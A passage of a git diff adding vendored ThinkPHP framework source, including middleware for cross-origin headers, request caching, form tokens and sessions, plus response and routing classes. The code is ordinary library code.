(isset($this->clientArg[$name])) { + return $this->clientArg[$name]; + } + + return ''; + } + + /** + * @access protected + * @param string $host - $host of socket server + * @param int $port - $port of socket server + * @param string $message - 发送的消息 + * @param string $address - 地址 + * @return bool + */ + protected function send($host, $port, $message = '', $address = '/') + { + $url = 'http://' . $host . ':' . $port . $address; + $ch = curl_init(); + + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $message); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1); + curl_setopt($ch, CURLOPT_TIMEOUT, 10); + + $headers = [ + "Content-Type: application/json;charset=UTF-8", + ]; + + curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); //设置header + + return curl_exec($ch); + } +} diff --git a/vendor/topthink/framework/src/think/middleware/AllowCrossDomain.php b/vendor/topthink/framework/src/think/middleware/AllowCrossDomain.php new file mode 100644 index 0000000..68c3ace --- /dev/null +++ b/vendor/topthink/framework/src/think/middleware/AllowCrossDomain.php @@ -0,0 +1,63 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\middleware; + +use Closure; +use think\Config; +use think\Request; +use think\Response; + +/** + * 跨域请求支持 + */ +class AllowCrossDomain +{ + protected $cookieDomain; + + protected $header = [ + 'Access-Control-Allow-Credentials' => 'true', + 'Access-Control-Max-Age' => 1800, + 'Access-Control-Allow-Methods' => 'GET, POST, PATCH, PUT, DELETE, OPTIONS', + 'Access-Control-Allow-Headers' => 'Authorization, Content-Type, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, X-CSRF-TOKEN, X-Requested-With', + ]; + + public function __construct(Config $config) + { + $this->cookieDomain = $config->get('cookie.domain', ''); + } + + /** + * 允许跨域请求 + * @access public + * @param Request $request + * @param Closure $next + * @param array $header + * @return Response + */ + public function handle($request, Closure $next, ?array $header = []) + { + $header = !empty($header) ? array_merge($this->header, $header) : $this->header; + + if (!isset($header['Access-Control-Allow-Origin'])) { + $origin = $request->header('origin'); + + if ($origin && ('' == $this->cookieDomain || strpos($origin, $this->cookieDomain))) { + $header['Access-Control-Allow-Origin'] = $origin; + } else { + $header['Access-Control-Allow-Origin'] = '*'; + } + } + + return $next($request)->header($header); + } +} diff --git a/vendor/topthink/framework/src/think/middleware/CheckRequestCache.php b/vendor/topthink/framework/src/think/middleware/CheckRequestCache.php new file mode 100644 index 0000000..6e22056 --- /dev/null +++ b/vendor/topthink/framework/src/think/middleware/CheckRequestCache.php @@ -0,0 +1,183 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\middleware; + +use Closure; +use think\Cache; +use think\Config; +use think\Request; +use think\Response; + +/** + * 请求缓存处理 + */ +class CheckRequestCache +{ + /** + * 缓存对象 + * @var Cache + */ + protected $cache; + + /** + * 配置参数 + * @var array + */ + protected $config = [ + // 请求缓存规则 true为自动规则 + 'request_cache_key' => true, + // 请求缓存有效期 + 'request_cache_expire' => null, + // 全局请求缓存排除规则 + 'request_cache_except' => [], + // 请求缓存的Tag + 'request_cache_tag' => '', + ]; + + public function __construct(Cache $cache, Config $config) + { + $this->cache = $cache; + $this->config = array_merge($this->config, $config->get('route')); + } + + /** + * 设置当前地址的请求缓存 + * @access public + * @param Request $request + * @param Closure $next + * @param mixed $cache + * @return Response + */ + public function handle($request, Closure $next, $cache = null) + { + if ($request->isGet() && false !== $cache) { + if (false === $this->config['request_cache_key']) { + // 关闭当前缓存 + $cache = false; + } + + $cache = $cache ?? $this->getRequestCache($request); + + if ($cache) { + if (is_array($cache)) { + [$key, $expire, $tag] = array_pad($cache, 3, null); + } else { + $key = md5($request->url(true)); + $expire = $cache; + $tag = null; + } + + $key = $this->parseCacheKey($request, $key); + + if (strtotime($request->server('HTTP_IF_MODIFIED_SINCE', '')) + $expire > $request->server('REQUEST_TIME')) { + // 读取缓存 + return Response::create()->code(304); + } elseif (($hit = $this->cache->get($key)) !== null) { + [$content, $header, $when] = $hit; + if (null === $expire || $when + $expire > $request->server('REQUEST_TIME')) { + return Response::create($content)->header($header); + } + } + } + } + + $response = $next($request); + + if (isset($key) && 200 == $response->getCode() && $response->isAllowCache()) { + $header = $response->getHeader(); + $header['Cache-Control'] = 'max-age=' . $expire . ',must-revalidate'; + $header['Last-Modified'] = gmdate('D, d M Y H:i:s') . ' GMT'; + $header['Expires'] = gmdate('D, d M Y H:i:s', time() + $expire) . ' GMT'; + + $this->cache->tag($tag)->set($key, [$response->getContent(), $header, time()], $expire); + } + + return $response; + } + + /** + * 读取当前地址的请求缓存信息 + * @access protected + * @param Request $request + * @return mixed + */ + protected function getRequestCache($request) + { + $key = $this->config['request_cache_key']; + $expire = $this->config['request_cache_expire']; + $except = $this->config['request_cache_except']; + $tag = $this->config['request_cache_tag']; + + foreach ($except as $rule) { + if (0 === stripos($request->url(), $rule)) { + return; + } + } + + return [$key, $expire, $tag]; + } + + /** + * 读取当前地址的请求缓存信息 + * @access protected + * @param Request $request + * @param mixed $key + * @return null|string + */ + protected function parseCacheKey($request, $key) + { + if ($key instanceof \Closure) { + $key = call_user_func($key, $request); + } + + if (false === $key) { + // 关闭当前缓存 + return; + } + + if (true === $key) { + // 自动缓存功能 + $key = '__URL__'; + } elseif (strpos($key, '|')) { + [$key, $fun] = explode('|', $key); + } + + // 特殊规则替换 + if (false !== strpos($key, '__')) { + $key = str_replace(['__CONTROLLER__', '__ACTION__', '__URL__'], [$request->controller(), $request->action(), md5($request->url(true))], $key); + } + + if (false !== strpos($key, ':')) { + $param = $request->param(); + + foreach ($param as $item => $val) { + if (is_string($val) && false !== strpos($key, ':' . $item)) { + $key = str_replace(':' . $item, $val, $key); + } + } + } elseif (strpos($key, ']')) { + if ('[' . $request->ext() . ']' == $key) { + // 缓存某个后缀的请求 + $key = md5($request->url()); + } else { + return; + } + } + + if (isset($fun)) { + $key = $fun($key); + } + + return $key; + } +} diff --git a/vendor/topthink/framework/src/think/middleware/FormTokenCheck.php b/vendor/topthink/framework/src/think/middleware/FormTokenCheck.php new file mode 100644 index 0000000..f507903 --- /dev/null +++ b/vendor/topthink/framework/src/think/middleware/FormTokenCheck.php @@ -0,0 +1,45 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\middleware; + +use Closure; +use think\exception\ValidateException; +use think\Request; +use think\Response; + +/** + * 表单令牌支持 + */ +class FormTokenCheck +{ + + /** + * 表单令牌检测 + * @access public + * @param Request $request + * @param Closure $next + * @param string $token 表单令牌Token名称 + * @return Response + */ + public function handle(Request $request, Closure $next, string $token = null) + { + $check = $request->checkToken($token ?: '__token__'); + + if (false === $check) { + throw new ValidateException('invalid token'); + } + + return $next($request); + } + +} diff --git a/vendor/topthink/framework/src/think/middleware/LoadLangPack.php b/vendor/topthink/framework/src/think/middleware/LoadLangPack.php new file mode 100644 index 0000000..c9e7a9d --- /dev/null +++ b/vendor/topthink/framework/src/think/middleware/LoadLangPack.php @@ -0,0 +1,61 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\middleware; + +use Closure; +use think\App; +use think\Lang; +use think\Request; +use think\Response; + +/** + * 多语言加载 + */ +class LoadLangPack +{ + protected $app; + + protected $lang; + + public function __construct(App $app, Lang $lang) + { + $this->app = $app; + $this->lang = $lang; + } + + /** + * 路由初始化(路由规则注册) + * @access public + * @param Request $request + * @param Closure $next + * @return Response + */ + public function handle($request, Closure $next) + { + // 自动侦测当前语言 + $langset = $this->lang->detect($request); + + if ($this->lang->defaultLangSet() != $langset) { + // 加载系统语言包 + $this->lang->load([ + $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php', + ]); + + $this->app->LoadLangPack($langset); + } + + $this->lang->saveToCookie($this->app->cookie); + + return $next($request); + } +} diff --git a/vendor/topthink/framework/src/think/middleware/SessionInit.php b/vendor/topthink/framework/src/think/middleware/SessionInit.php new file mode 100644 index 0000000..8c2a7b4 --- /dev/null +++ b/vendor/topthink/framework/src/think/middleware/SessionInit.php @@ -0,0 +1,80 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\middleware; + +use Closure; +use think\App; +use think\Request; +use think\Response; +use think\Session; + +/** + * Session初始化 + */ +class SessionInit +{ + + /** @var App */ + protected $app; + + /** @var Session */ + protected $session; + + public function __construct(App $app, Session $session) + { + $this->app = $app; + $this->session = $session; + } + + /** + * Session初始化 + * @access public + * @param Request $request + * @param Closure $next + * @return Response + */ + public function handle($request, Closure $next) + { + // Session初始化 + $varSessionId = $this->app->config->get('session.var_session_id'); + $cookieName = $this->session->getName(); + + if ($varSessionId && $request->request($varSessionId)) { + $sessionId = $request->request($varSessionId); + } else { + $sessionId = $request->cookie($cookieName); + } + + if ($sessionId) { + $this->session->setId($sessionId); + } + + $this->session->init(); + + $request->withSession($this->session); + + /** @var Response $response */ + $response = $next($request); + + $response->setSession($this->session); + + $this->app->cookie->set($cookieName, $this->session->getId()); + + return $response; + } + + public function end(Response $response) + { + $this->session->save(); + } +} diff --git a/vendor/topthink/framework/src/think/response/File.php b/vendor/topthink/framework/src/think/response/File.php new file mode 100644 index 0000000..45d7196 --- /dev/null +++ b/vendor/topthink/framework/src/think/response/File.php @@ -0,0 +1,158 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\response; + +use think\Exception; +use think\Response; + +/** + * File Response + */ +class File extends Response +{ + protected $expire = 360; + protected $name; + protected $mimeType; + protected $isContent = false; + protected $force = true; + + public function __construct($data = '', int $code = 200) + { + $this->init($data, $code); + } + + /** + * 处理数据 + * @access protected + * @param mixed $data 要处理的数据 + * @return mixed + * @throws \Exception + */ + protected function output($data) + { + if (!$this->isContent && !is_file($data)) { + throw new Exception('file not exists:' . $data); + } + + ob_end_clean(); + + if (!empty($this->name)) { + $name = $this->name; + } else { + $name = !$this->isContent ? pathinfo($data, PATHINFO_BASENAME) : ''; + } + + if ($this->isContent) { + $mimeType = $this->mimeType; + $size = strlen($data); + } else { + $mimeType = $this->getMimeType($data); + $size = filesize($data); + } + + $this->header['Pragma'] = 'public'; + $this->header['Content-Type'] = $mimeType ?: 'application/octet-stream'; + $this->header['Cache-control'] = 'max-age=' . $this->expire; + $this->header['Content-Disposition'] = ($this->force ? 'attachment; ' : '') . 'filename="' . $name . '"'; + $this->header['Content-Length'] = $size; + $this->header['Content-Transfer-Encoding'] = 'binary'; + $this->header['Expires'] = gmdate("D, d M Y H:i:s", time() + $this->expire) . ' GMT'; + + $this->lastModified(gmdate('D, d M Y H:i:s', time()) . ' GMT'); + + return $this->isContent ? $data : file_get_contents($data); + } + + /** + * 设置是否为内容 必须配合mimeType方法使用 + * @access public + * @param bool $content + * @return $this + */ + public function isContent(bool $content = true) + { + $this->isContent = $content; + return $this; + } + + /** + * 设置有效期 + * @access public + * @param integer $expire 有效期 + * @return $this + */ + public function expire(int $expire) + { + $this->expire = $expire; + return $this; + } + + /** + * 设置文件类型 + * @access public + * @param string $filename 文件名 + * @return $this + */ + public function mimeType(string $mimeType) + { + $this->mimeType = $mimeType; + return $this; + } + + /** + * 设置文件强制下载 + * @access public + * @param bool $force 强制浏览器下载 + * @return $this + */ + public function force(bool $force) + { + $this->force = $force; + return $this; + } + + /** + * 获取文件类型信息 + * @access public + * @param string $filename 文件名 + * @return string + */ + protected function getMimeType(string $filename): string + { + if (!empty($this->mimeType)) { + return $this->mimeType; + } + + $finfo = finfo_open(FILEINFO_MIME_TYPE); + + return finfo_file($finfo, $filename); + } + + /** + * 设置下载文件的显示名称 + * @access public + * @param string $filename 文件名 + * @param bool $extension 后缀自动识别 + * @return $this + */ + public function name(string $filename, bool $extension = true) + { + $this->name = $filename; + + if ($extension && false === strpos($filename, '.')) { + $this->name .= '.' . pathinfo($this->data, PATHINFO_EXTENSION); + } + + return $this; + } +} diff --git a/vendor/topthink/framework/src/think/response/Html.php b/vendor/topthink/framework/src/think/response/Html.php new file mode 100644 index 0000000..dbf23c7 --- /dev/null +++ b/vendor/topthink/framework/src/think/response/Html.php @@ -0,0 +1,34 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\response; + +use think\Cookie; +use think\Response; + +/** + * Html Response + */ +class Html extends Response +{ + /** + * 输出type + * @var string + */ + protected $contentType = 'text/html'; + + public function __construct(Cookie $cookie, $data = '', int $code = 200) + { + $this->init($data, $code); + $this->cookie = $cookie; + } +} diff --git a/vendor/topthink/framework/src/think/response/Json.php b/vendor/topthink/framework/src/think/response/Json.php new file mode 100644 index 0000000..85d2d22 --- /dev/null +++ b/vendor/topthink/framework/src/think/response/Json.php @@ -0,0 +1,62 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\response; + +use think\Cookie; +use think\Response; + +/** + * Json Response + */ +class Json extends Response +{ + // 输出参数 + protected $options = [ + 'json_encode_param' => JSON_UNESCAPED_UNICODE, + ]; + + protected $contentType = 'application/json'; + + public function __construct(Cookie $cookie, $data = '', int $code = 200) + { + $this->init($data, $code); + $this->cookie = $cookie; + } + + /** + * 处理数据 + * @access protected + * @param mixed $data 要处理的数据 + * @return string + * @throws \Exception + */ + protected function output($data): string + { + try { + // 返回JSON数据格式到客户端 包含状态信息 + $data = json_encode($data, $this->options['json_encode_param']); + + if (false === $data) { + throw new \InvalidArgumentException(json_last_error_msg()); + } + + return $data; + } catch (\Exception $e) { + if ($e->getPrevious()) { + throw $e->getPrevious(); + } + throw $e; + } + } + +} diff --git a/vendor/topthink/framework/src/think/response/Jsonp.php b/vendor/topthink/framework/src/think/response/Jsonp.php new file mode 100644 index 0000000..35f26f2 --- /dev/null +++ b/vendor/topthink/framework/src/think/response/Jsonp.php @@ -0,0 +1,74 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\response; + +use think\Cookie; +use think\Request; +use think\Response; + +/** + * Jsonp Response + */ +class Jsonp extends Response +{ + // 输出参数 + protected $options = [ + 'var_jsonp_handler' => 'callback', + 'default_jsonp_handler' => 'jsonpReturn', + 'json_encode_param' => JSON_UNESCAPED_UNICODE, + ]; + + protected $contentType = 'application/javascript'; + + protected $request; + + public function __construct(Cookie $cookie, Request $request, $data = '', int $code = 200) + { + $this->init($data, $code); + + $this->cookie = $cookie; + $this->request = $request; + } + + /** + * 处理数据 + * @access protected + * @param mixed $data 要处理的数据 + * @return string + * @throws \Exception + */ + protected function output($data): string + { + try { + // 返回JSON数据格式到客户端 包含状态信息 [当url_common_param为false时是无法获取到$_GET的数据的,故使用Request来获取] + $varJsonpHandler = $this->request->param($this->options['var_jsonp_handler'], ""); + $handler = !empty($varJsonpHandler) ? $varJsonpHandler : $this->options['default_jsonp_handler']; + + $data = json_encode($data, $this->options['json_encode_param']); + + if (false === $data) { + throw new \InvalidArgumentException(json_last_error_msg()); + } + + $data = $handler . '(' . $data . ');'; + + return $data; + } catch (\Exception $e) { + if ($e->getPrevious()) { + throw $e->getPrevious(); + } + throw $e; + } + } + +} diff --git a/vendor/topthink/framework/src/think/response/Redirect.php b/vendor/topthink/framework/src/think/response/Redirect.php new file mode 100644 index 0000000..3d201aa --- /dev/null +++ b/vendor/topthink/framework/src/think/response/Redirect.php @@ -0,0 +1,98 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\response; + +use think\Cookie; +use think\Request; +use think\Response; +use think\Session; + +/** + * Redirect Response + */ +class Redirect extends Response +{ + + protected $request; + + public function __construct(Cookie $cookie, Request $request, Session $session, $data = '', int $code = 302) + { + $this->init((string) $data, $code); + + $this->cookie = $cookie; + $this->request = $request; + $this->session = $session; + + $this->cacheControl('no-cache,must-revalidate'); + } + + /** + * 处理数据 + * @access protected + * @param mixed $data 要处理的数据 + * @return string + */ + protected function output($data): string + { + $this->header['Location'] = $data; + + return ''; + } + + /** + * 重定向传值(通过Session) + * @access protected + * @param string|array $name 变量名或者数组 + * @param mixed $value 值 + * @return $this + */ + public function with($name, $value = null) + { + if (is_array($name)) { + foreach ($name as $key => $val) { + $this->session->flash($key, $val); + } + } else { + $this->session->flash($name, $value); + } + + return $this; + } + + /** + * 记住当前url后跳转 + * @access public + * @return $this + */ + public function remember() + { + $this->session->set('redirect_url', $this->request->url()); + + return $this; + } + + /** + * 跳转到上次记住的url + * @access public + * @return $this + */ + public function restore() + { + if ($this->session->has('redirect_url')) { + $this->data = $this->session->get('redirect_url'); + $this->session->delete('redirect_url'); + } + + return $this; + } +} diff --git a/vendor/topthink/framework/src/think/response/View.php b/vendor/topthink/framework/src/think/response/View.php new file mode 100644 index 0000000..0b1ae88 --- /dev/null +++ b/vendor/topthink/framework/src/think/response/View.php @@ -0,0 +1,149 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\response; + +use think\Cookie; +use think\Response; +use think\View as BaseView; + +/** + * View Response + */ +class View extends Response +{ + /** + * 输出参数 + * @var array + */ + protected $options = []; + + /** + * 输出变量 + * @var array + */ + protected $vars = []; + + /** + * 输出过滤 + * @var mixed + */ + protected $filter; + + /** + * 输出type + * @var string + */ + protected $contentType = 'text/html'; + + /** + * View对象 + * @var BaseView + */ + protected $view; + + /** + * 是否内容渲染 + * @var bool + */ + protected $isContent = false; + + public function __construct(Cookie $cookie, BaseView $view, $data = '', int $code = 200) + { + $this->init($data, $code); + + $this->cookie = $cookie; + $this->view = $view; + } + + /** + * 设置是否为内容渲染 + * @access public + * @param bool $content + * @return $this + */ + public function isContent(bool $content = true) + { + $this->isContent = $content; + return $this; + } + + /** + * 处理数据 + * @access protected + * @param mixed $data 要处理的数据 + * @return string + */ + protected function output($data): string + { + // 渲染模板输出 + return $this->view->filter($this->filter) + ->fetch($data, $this->vars, $this->isContent); + } + + /** + * 获取视图变量 + * @access public + * @param string $name 模板变量 + * @return mixed + */ + public function getVars(string $name = null) + { + if (is_null($name)) { + return $this->vars; + } else { + return $this->vars[$name] ?? null; + } + } + + /** + * 模板变量赋值 + * @access public + * @param string|array $name 模板变量 + * @param mixed $value 变量值 + * @return $this + */ + public function assign($name, $value = null) + { + if (is_array($name)) { + $this->vars = array_merge($this->vars, $name); + } else { + $this->vars[$name] = $value; + } + + return $this; + } + + /** + * 视图内容过滤 + * @access public + * @param callable $filter + * @return $this + */ + public function filter(callable $filter = null) + { + $this->filter = $filter; + return $this; + } + + /** + * 检查模板是否存在 + * @access public + * @param string $name 模板名 + * @return bool + */ + public function exists(string $name): bool + { + return $this->view->exists($name); + } + +} diff --git a/vendor/topthink/framework/src/think/response/Xml.php b/vendor/topthink/framework/src/think/response/Xml.php new file mode 100644 index 0000000..3597548 --- /dev/null +++ b/vendor/topthink/framework/src/think/response/Xml.php @@ -0,0 +1,127 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\response; + +use think\Collection; +use think\Cookie; +use think\Model; +use think\Response; + +/** + * XML Response + */ +class Xml extends Response +{ + // 输出参数 + protected $options = [ + // 根节点名 + 'root_node' => 'think', + // 根节点属性 + 'root_attr' => '', + //数字索引的子节点名 + 'item_node' => 'item', + // 数字索引子节点key转换的属性名 + 'item_key' => 'id', + // 数据编码 + 'encoding' => 'utf-8', + ]; + + protected $contentType = 'text/xml'; + + public function __construct(Cookie $cookie, $data = '', int $code = 200) + { + $this->init($data, $code); + $this->cookie = $cookie; + } + + /** + * 处理数据 + * @access protected + * @param mixed $data 要处理的数据 + * @return mixed + */ + protected function output($data): string + { + if (is_string($data)) { + if (0 !== strpos($data, 'options['encoding']; + $xml = ""; + $data = $xml . $data; + } + return $data; + } + + // XML数据转换 + return $this->xmlEncode($data, $this->options['root_node'], $this->options['item_node'], $this->options['root_attr'], $this->options['item_key'], $this->options['encoding']); + } + + /** + * XML编码 + * @access protected + * @param mixed $data 数据 + * @param string $root 根节点名 + * @param string $item 数字索引的子节点名 + * @param mixed $attr 根节点属性 + * @param string $id 数字索引子节点key转换的属性名 + * @param string $encoding 数据编码 + * @return string + */ + protected function xmlEncode($data, string $root, string $item, $attr, string $id, string $encoding): string + { + if (is_array($attr)) { + $array = []; + foreach ($attr as $key => $value) { + $array[] = "{$key}=\"{$value}\""; + } + $attr = implode(' ', $array); + } + + $attr = trim($attr); + $attr = empty($attr) ? '' : " {$attr}"; + $xml = ""; + $xml .= "<{$root}{$attr}>"; + $xml .= $this->dataToXml($data, $item, $id); + $xml .= ""; + + return $xml; + } + + /** + * 数据XML编码 + * @access protected + * @param mixed $data 数据 + * @param string $item 数字索引时的节点名称 + * @param string $id 数字索引key转换为的属性名 + * @return string + */ + protected function dataToXml($data, string $item, string $id): string + { + $xml = $attr = ''; + + if ($data instanceof Collection || $data instanceof Model) { + $data = $data->toArray(); + } + + foreach ($data as $key => $val) { + if (is_numeric($key)) { + $id && $attr = " {$id}=\"{$key}\""; + $key = $item; + } + $xml .= "<{$key}{$attr}>"; + $xml .= (is_array($val) || is_object($val)) ? $this->dataToXml($val, $item, $id) : $val; + $xml .= ""; + } + + return $xml; + } +} diff --git a/vendor/topthink/framework/src/think/route/Dispatch.php b/vendor/topthink/framework/src/think/route/Dispatch.php new file mode 100644 index 0000000..9884a47 --- /dev/null +++ b/vendor/topthink/framework/src/think/route/Dispatch.php @@ -0,0 +1,257 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\route; + +use think\App; +use think\Container; +use think\Request; +use think\Response; +use think\Validate; + +/** + * 路由调度基础类 + */ +abstract class Dispatch +{ + /** + * 应用对象 + * @var \think\App + */ + protected $app; + + /** + * 请求对象 + * @var Request + */ + protected $request; + + /** + * 路由规则 + * @var Rule + */ + protected $rule; + + /** + * 调度信息 + * @var mixed + */ + protected $dispatch; + + /** + * 路由变量 + * @var array + */ + protected $param; + + public function __construct(Request $request, Rule $rule, $dispatch, array $param = []) + { + $this->request = $request; + $this->rule = $rule; + $this->dispatch = $dispatch; + $this->param = $param; + } + + public function init(App $app) + { + $this->app = $app; + + // 执行路由后置操作 + $this->doRouteAfter(); + } + + /** + * 执行路由调度 + * @access public + * @return mixed + */ + public function run(): Response + { + if ($this->rule instanceof RuleItem && $this->request->method() == 'OPTIONS' && $this->rule->isAutoOptions()) { + $rules = $this->rule->getRouter()->getRule($this->rule->getRule()); + $allow = []; + foreach ($rules as $item) { + $allow[] = strtoupper($item->getMethod()); + } + + return Response::create('', 'html', 204)->header(['Allow' => implode(', ', $allow)]); + } + + $data = $this->exec(); + return $this->autoResponse($data); + } + + protected function autoResponse($data): Response + { + if ($data instanceof Response) { + $response = $data; + } elseif (!is_null($data)) { + // 默认自动识别响应输出类型 + $type = $this->request->isJson() ? 'json' : 'html'; + $response = Response::create($data, $type); + } else { + $data = ob_get_clean(); + + $content = false === $data ? '' : $data; + $status = '' === $content && $this->request->isJson() ? 204 : 200; + $response = Response::create($content, 'html', $status); + } + + return $response; + } + + /** + * 检查路由后置操作 + * @access protected + * @return void + */ + protected function doRouteAfter(): void + { + $option = $this->rule->getOption(); + + // 添加中间件 + if (!empty($option['middleware'])) { + $this->app->middleware->import($option['middleware'], 'route'); + } + + if (!empty($option['append'])) { + $this->param = array_merge($this->param, $option['append']); + } + + // 绑定模型数据 + if (!empty($option['model'])) { + $this->createBindModel($option['model'], $this->param); + } + + // 记录当前请求的路由规则 + $this->request->setRule($this->rule); + + // 记录路由变量 + $this->request->setRoute($this->param); + + // 数据自动验证 + if (isset($option['validate'])) { + $this->autoValidate($option['validate']); + } + } + + /** + * 路由绑定模型实例 + * @access protected + * @param array $bindModel 绑定模型 + * @param array $matches 路由变量 + * @return void + */ + protected function createBindModel(array $bindModel, array $matches): void + { + foreach ($bindModel as $key => $val) { + if ($val instanceof \Closure) { + $result = $this->app->invokeFunction($val, $matches); + } else { + $fields = explode('&', $key); + + if (is_array($val)) { + [$model, $exception] = $val; + } else { + $model = $val; + $exception = true; + } + + $where = []; + $match = true; + + foreach ($fields as $field) { + if (!isset($matches[$field])) { + $match = false; + break; + } else { + $where[] = [$field, '=', $matches[$field]]; + } + } + + if ($match) { + $result = $model::where($where)->failException($exception)->find(); + } + } + + if (!empty($result)) { + // 注入容器 + $this->app->instance(get_class($result), $result); + } + } + } + + /** + * 验证数据 + * @access protected + * @param array $option + * @return void + * @throws \think\exception\ValidateException + */ + protected function autoValidate(array $option): void + { + [$validate, $scene, $message, $batch] = $option; + + if (is_array($validate)) { + // 指定验证规则 + $v = new Validate(); + $v->rule($validate); + } else { + // 调用验证器 + $class = false !== strpos($validate, '\\') ? $validate : $this->app->parseClass('validate', $validate); + + $v = new $class(); + + if (!empty($scene)) { + $v->scene($scene); + } + } + + /** @var Validate $v */ + $v->message($message) + ->batch($batch) + ->failException(true) + ->check($this->request->param()); + } + + public function getDispatch() + { + return $this->dispatch; + } + + public function getParam(): array + { + return $this->param; + } + + abstract public function exec(); + + public function __sleep() + { + return ['rule', 'dispatch', 'param', 'controller', 'actionName']; + } + + public function __wakeup() + { + $this->app = Container::pull('app'); + $this->request = $this->app->request; + } + + public function __debugInfo() + { + return [ + 'dispatch' => $this->dispatch, + 'param' => $this->param, + 'rule' => $this->rule, + ]; + } +} diff --git a/vendor/topthink/framework/src/think/route/Domain.php b/vendor/topthink/framework/src/think/route/Domain.php new file mode 100644 index 0000000..8c04af0 --- /dev/null +++ b/vendor/topthink/framework/src/think/route/Domain.php @@ -0,0 +1,183 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\route; + +use think\helper\Str; +use think\Request; +use think\Route; +use think\route\dispatch\Callback as CallbackDispatch; +use think\route\dispatch\Controller as ControllerDispatch; + +/** + * 域名路由 + */ +class Domain extends RuleGroup +{ + /** + * 架构函数 + * @access public + * @param Route $router 路由对象 + * @param string $name 路由域名 + * @param mixed $rule 域名路由 + */ + public function __construct(Route $router, string $name = null, $rule = null) + { + $this->router = $router; + $this->domain = $name; + $this->rule = $rule; + } + + /** + * 检测域名路由 + * @access public + * @param Request $request 请求对象 + * @param string $url 访问地址 + * @param bool $completeMatch 路由是否完全匹配 + * @return Dispatch|false + */ + public function check(Request $request, string $url, bool $completeMatch = false) + { + // 检测URL绑定 + $result = $this->checkUrlBind($request, $url); + + if (!empty($this->option['append'])) { + $request->setRoute($this->option['append']); + unset($this->option['append']); + } + + if (false !== $result) { + return $result; + } + + return parent::check($request, $url, $completeMatch); + } + + /** + * 设置路由绑定 + * @access public + * @param string $bind 绑定信息 + * @return $this + */ + public function bind(string $bind) + { + $this->router->bind($bind, $this->domain); + + return $this; + } + + /** + * 检测URL绑定 + * @access private + * @param Request $request + * @param string $url URL地址 + * @return Dispatch|false + */ + private function checkUrlBind(Request $request, string $url) + { + $bind = $this->router->getDomainBind($this->domain); + + if ($bind) { + $this->parseBindAppendParam($bind); + + // 如果有URL绑定 则进行绑定检测 + $type = substr($bind, 0, 1); + $bind = substr($bind, 1); + + $bindTo = [ + '\\' => 'bindToClass', + '@' => 'bindToController', + ':' => 'bindToNamespace', + ]; + + if (isset($bindTo[$type])) { + return $this->{$bindTo[$type]}($request, $url, $bind); + } + } + + return false; + } + + protected function parseBindAppendParam(string &$bind): void + { + if (false !== strpos($bind, '?')) { + [$bind, $query] = explode('?', $bind); + parse_str($query, $vars); + $this->append($vars); + } + } + + /** + * 绑定到类 + * @access protected + * @param Request $request + * @param string $url URL地址 + * @param string $class 类名(带命名空间) + * @return CallbackDispatch + */ + protected function bindToClass(Request $request, string $url, string $class): CallbackDispatch + { + $array = explode('|', $url, 2); + $action = !empty($array[0]) ? $array[0] : $this->router->config('default_action'); + $param = []; + + if (!empty($array[1])) { + $this->parseUrlParams($array[1], $param); + } + + return new CallbackDispatch($request, $this, [$class, $action], $param); + } + + /** + * 绑定到命名空间 + * @access protected + * @param Request $request + * @param string $url URL地址 + * @param string $namespace 命名空间 + * @return CallbackDispatch + */ + protected function bindToNamespace(Request $request, string $url, string $namespace): CallbackDispatch + { + $array = explode('|', $url, 3); + $class = !empty($array[0]) ? $array[0] : $this->router->config('default_controller'); + $method = !empty($array[1]) ? $array[1] : $this->router->config('default_action'); + $param = []; + + if (!empty($array[2])) { + $this->parseUrlParams($array[2], $param); + } + + return new CallbackDispatch($request, $this, [$namespace . '\\' . Str::studly($class), $method], $param); + } + + /** + * 绑定到控制器 + * @access protected + * @param Request $request + * @param string $url URL地址 + * @param string $controller 控制器名 + * @return ControllerDispatch + */ + protected function bindToController(Request $request, string $url, string $controller): ControllerDispatch + { + $array = explode('|', $url, 2); + $action = !empty($array[0]) ? $array[0] : $this->router->config('default_action'); + $param = []; + + if (!empty($array[1])) { + $this->parseUrlParams($array[1], $param); + } + + return new ControllerDispatch($request, $this, $controller . '/' . $action, $param); + } + +} diff --git a/vendor/topthink/framework/src/think/route/Resource.php b/vendor/topthink/framework/src/think/route/Resource.php new file mode 100644 index 0000000..01565fc --- /dev/null +++ b/vendor/topthink/framework/src/think/route/Resource.php @@ -0,0 +1,251 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\route; + +use think\Route; + +/** + * 资源路由类 + */ +class Resource extends RuleGroup +{ + /** + * 资源路由名称 + * @var string + */ + protected $resource; + + /** + * 资源路由地址 + * @var string + */ + protected $route; + + /** + * REST方法定义 + * @var array + */ + protected $rest = []; + + /** + * 模型绑定 + * @var array + */ + protected $model = []; + + /** + * 数据验证 + * @var array + */ + protected $validate = []; + + /** + * 中间件 + * @var array + */ + protected $middleware = []; + + /** + * 架构函数 + * @access public + * @param Route $router 路由对象 + * @param RuleGroup $parent 上级对象 + * @param string $name 资源名称 + * @param string $route 路由地址 + * @param array $rest 资源定义 + */ + public function __construct(Route $router, RuleGroup $parent = null, string $name = '', string $route = '', array $rest = []) + { + $name = ltrim($name, '/'); + $this->router = $router; + 